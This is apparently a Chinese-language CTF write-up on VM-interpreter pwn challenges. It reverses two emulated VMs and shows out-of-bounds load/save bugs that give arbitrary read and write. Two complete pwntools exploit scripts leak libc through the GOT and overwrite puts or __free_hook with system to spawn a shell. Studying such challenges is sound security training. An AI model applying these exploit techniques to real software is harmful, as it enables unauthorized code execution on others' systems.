ctf比赛中的vm逆向不是指VMware或VirtualBox一类的虚拟机,而是一种解释执行系统或者模拟器,近几年出现的频率越来越高了,故总结一下vmpwn中常见的漏洞
发现没开pie和只开了Partial RELRO
程序开始先是定义了三个堆分别作为vm的stack text data段
逆向出结构体后是这样
struct segment_chunk
{
char *segment;
unsigned int size;
int nop; 这个nop后面分析发现 是stack段中的值的个数
};
先将值存入ptr所在的堆块 然后在进入move_func 以’ ‘空格为区分切割存入最开始设置的text段
代码逻辑基本相同,是存放入stack段中
这里逆出来功能点是下图这样
有两个关键的函数
可以看出是把a1->segment中的指取出来给a2
与take_value相反
func_pop(v3_data, a2_stack);
func_push(v3_data, a2_stack);
func_add(v3_data);
func_sub(v3_data);
func_x(v3_data); 乘法
func_division(v3_data); 除法
func_load(v3_data);
func_save(v3_data);
这里分析一下load和save 其他的可以参考分析得出
这里是取出data段中的值为v2,然后把data[0]的值设置为data[v2]地址所存放的值
取两个参数,一个v2,一个v3 并且把data[v2]的值存放为v3
这里关键点在于load和save这两个功能
load可以进行任意地址读,相当于可以读入data[num]的任何数据为data[0]
save可以进行任意地址写,由于v2和v3都是可控的,因此可以进行任意地址写
由于got表是可以写的,并且我们有任意地址写 因此我们可以通过之前的分析发现,data段的上方就是存放data段的指针
因此我们可以通过save来把指针覆盖为got段的下方一点的位置,然后通过load去取出puts的地址 然后通过add或者sub的功能去增加偏移把puts去修改为system,由于最后有一个puts(s) 是我们可控的 因此就可以getshell
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./ciscn_2019_qual_virtual"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
dbg()
rl("Your program name:\n")
sl(b'/bin/sh\x00')
rl("Your instruction:\n")
payload=b'push push save push load push add push save'
sl(payload)
rl("Your stack data:\n")
content=b'4210896 -3 -21 -193680 -21'
sl(content)
inter()
这一部分重点就是给SP PC赋值,然后把code读入memory[PC+i]的位置,并且通过检测限制单个字节最大为0xff
这里就是取出PC的值 传给memory 方便后面执行execute程序
v4 = (a1 & 0xF0000u) >> 16;
v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
result = HIBYTE(a1);
这里对传入的a1分别进行了几段的处理 处理后分别为v4 v3 v2 HIBYTE(a1);
给reg[v4]赋值 0x10 0x20
我们关注到
这两个地方 一个是可以把reg[v2]中的值作为memory的索引去读入到reg[v4]中,另一个是可以把reg[v4]的值读入到memory[reg[v2]]中,而这里的v2是我们可以控制的,因此就可能导致溢出写,摆在我们面前的目前有两个问题
1.如何去泄露libc的地址
2.程序在开了FULL RELRO的情况应该改写哪里
可以看到memory 离got表的距离只有0x68换算一下也就是4*26 我们可以通过
reg[v4] = memory[reg[v2]];这个控制reg[v2]为-26 来把got表中的值读入寄存器,这里还有个限制 就是 我们前面分析的赋值的时候限制了大小为0到0xff 因此不能直接赋负值,我们可以通过 寄存器相减来实现这个目标
opcode(0x10,0,0,26) #mov reg[0],26
opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0]
这样子就实现了通过取负值取出got表的值,而由于got表中的地址是8字节,而我们的寄存器只存储4字节所以我们要存储在两个寄存器中 方便后续进行计算处理
opcode(0x10,0,0,26) #mov reg[0],26
opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0]
opcode(0x30,4,0,2) #mov reg[4],memory[reg[2]]
opcode(0x10,0,0,25) #mov reg[0],25
opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0]
opcode(0x30,5,0,2) #mov reg[5],memory[reg[2]]
然后后续我们有个打印所有寄存器的功能 就可以把libc的地址泄露出来
got表是不可以写的,因此我们只能考虑改别的 观察到
这里有个read读入到comment中存放的地址(这个可以通过调试得出来)
这是原地址,而comment存放地址的位置离memory非常的近,因此我们可以通过
memory[reg[v2]] = reg[v4]; 这个去把memory上面的comment覆盖为寄存器的值,和之前读取一样 需要两个4字节 修改后 就可以实现任意地址写了,由于后面有一次free 自然想到改free_hook
可以看到差距0x10a8我们可以通过寄存器之间加减变化得到,因为直接给寄存器传值收到了0-0xff的限制,所以要达到这个数值的话有两种思路:
1.是通过reg[13]或者reg[15]作为计算依据 这个是没有受到限制可以直接传入的
2.就是通过多次累加 或者 累减 之类的方式
通过读取的功能去把got表中的值读入寄存器中 并且泄露出来,然后通过加减变化stderr的值为__free_hook-8的值 然后 通过 memory[reg[v2]] = reg[v4]; 传入覆盖comment的值 然后 修改 free_hook的值为system free_hook-8的值为/bin/sh\x00 就可以getshell
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./OVM"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
def opcode(op,high,medium,low):
content=(op<<24)+(high<<16)+(medium<<8)+(low)
sl(str(content))
dbg()
rl("PCPC: ")
sl(str(0x1111))
rl("SP: ")
sl(str(0x10a0))
rl("CODE SIZE: ")
sl(str(14))
rl("CODE: ")
#0FB7
opcode(0x10, 0, 0, 26)
opcode(0x80, 2, 1, 0)
opcode(0x30, 4, 0, 2)
opcode(0x10, 0, 0, 25)
opcode(0x80, 2, 1, 0)
opcode(0x30, 5, 0, 2)
opcode(0x70, 4, 4, 13)
#--------------------------
opcode(0x10, 0, 0, 8)
opcode(0x80, 2, 1, 0)
#--------------------------
opcode(0x40, 4, 0, 2)
opcode(0x10, 0, 0, 7)
opcode(0x80, 2, 1, 0)
#--------------------------
opcode(0x40, 5, 0, 2)
opcode(0xff, 0, 0, 0)
rl("R4: ")
libc_addr1=int(mx.recv(8),16)
rl("R5: ")
libc_addr2=int(mx.recv(4),16)
print(hex(libc_addr1))
print(hex(libc_addr2))
libc_addr = (libc_addr2 << 32) + libc_addr1
print(hex(libc_addr))
#0F48=m
system=libc_addr-0x39e4a0
rl("HOW DO YOU FEEL AT OVM?")
s(b'/bin/sh\x00'+p64(system))
inter()
像上面这种VMpwn的题目,关键功能点就是分配了栈 text data段 然后模拟pop push mov lea等功能,这种更多的是难在逆向 把功能点都一个个弄清楚之后 找到漏洞其实并不难,无非就是数据越界等常见漏洞,而我们通过两道题目发现 其实很多功能点是在我们的漏洞利用中每起到作用中,因此比赛的时候遇到类似这种题 就只需要重点去看涉及到栈 data等的指令 pop push lea类似的这种 便于快速锁定漏洞 拿到flag.
4 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!